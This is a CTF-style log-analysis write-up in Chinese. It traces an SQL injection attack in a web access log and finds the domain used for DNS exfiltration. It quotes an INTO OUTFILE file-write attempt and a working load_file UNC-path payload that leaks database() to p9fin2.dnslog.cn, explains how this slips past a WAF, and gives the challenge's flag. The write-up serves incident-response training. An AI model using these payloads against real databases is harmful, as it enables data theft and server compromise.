2026.8.3（1）【日志分析】2026CCF-Sql注入的应急排查

📌 题目信息

🛠️ 使用工具

• 文本编辑器 / 日志查看

📝 解题思路

根据题目描述：某企业安全团队在日常运维中发现 WAF 告警，显示其业务系统遭受大量 SQL 注入扫描。尽管大部分扫描被拦截，但数据库服务器仍存在异常的 DNS 查询记录（关键！！）。结合 Web 访问日志，怀疑攻击者利用某种技术绕过了检测并将数据库敏感信息外传。需要分析 access.log，找出攻击者用于接收数据的域名。

关键点：攻击者绕过了 WAF 的检测，因此其恶意请求可能不是传统意义上的报错/联合注入，而很可能是通过 DNS 外传的方式隐蔽地将数据带出去。

第 1 步：搜索 DNS 外传相关特征

在日志中检索 load_file、into outfile、dns 等与 DNS / 文件读取相关的特征，定位可疑请求。
load_file 和 dns 的搜索结果如下图所示（这一条记录的后面一点有出现dns，然后其他地方就搜不到dns了）：

into outfile 的搜索结果如下图所示：

第 2 步：分析攻击请求

（1）首先对于 INTO OUTFILE 这一条记录，分析如下。

89.248.165.99 - - [20/May/2024:14:01:40 +0800] "GET /product?id=1' INTO OUTFILE '/tmp/out.txt' -- HTTP/1.1" 403 512 "-" "Mozilla/5.0"

这是一个 MySQL INTO OUTFILE 写文件攻击的尝试（也叫"文件写入/GetShell"手法）：

1. id=1' — 注入点，闭合 SQL 语句
2. INTO OUTFILE '/tmp/out.txt' — 尝试把查询结果写入服务器上的 /tmp/out.txt 文件
   • 攻击者意图通常是：写入一个 WebShell（比如写到网站目录 .../shell.php），从而获得服务器命令执行权限
   • 这里写的是 /tmp/out.txt，更像是探测/测试能否写入
3. -- 是SQL 注释，注释掉后面原有的 SQL 语句

要注意的是，这一条记录的状态码为403（被 WAF 拦截，返回 Forbidden，响应 512 字节）。题目要找的是"攻击者用来接收数据的域名"——即数据被外传到哪。INTO OUTFILE 这条是向服务器写文件，不涉及向外传数据，且被 WAF 拦截（403）了，所以它不是答案。

（2）然后对 load_file 和 dns 这一条记录，分析如下。

203.0.113.88 - - [20/May/2024:14:02:30 +0800] "GET /search?q=1%27%20AND%20(SELECT%20load_file(concat(%27%5C%5C%5C%5C%27,(select%20database()),%27.p9fin2.dnslog.cn%5C%5Cabc%27)))%20--%20 HTTP/1.1" 200 5000 "-" "Mozilla/5.0"

攻击者使用 MySQL 的 LOAD_FILE() 函数，传入 UNC 路径 \\<数据库名>.p9fin2.dnslog.cn\abc，MySQL 解析该路径时会向目标域名发起 DNS 解析请求，从而把敏感信息（database() 结果）拼接进域名前缀并通过 DNS 查询外传出去。这就是数据库服务器出现异常 DNS 查询记录的原因，也绕过了 WAF 检测。

日志中唯一出现的 DNS 外传域名为 p9fin2.dnslog.cn，其中 dnslog.cn 是常用的 DNS 日志记录 / 外传平台。

🏁 最终 Flag

flag{p9fin2.dnslog.cn}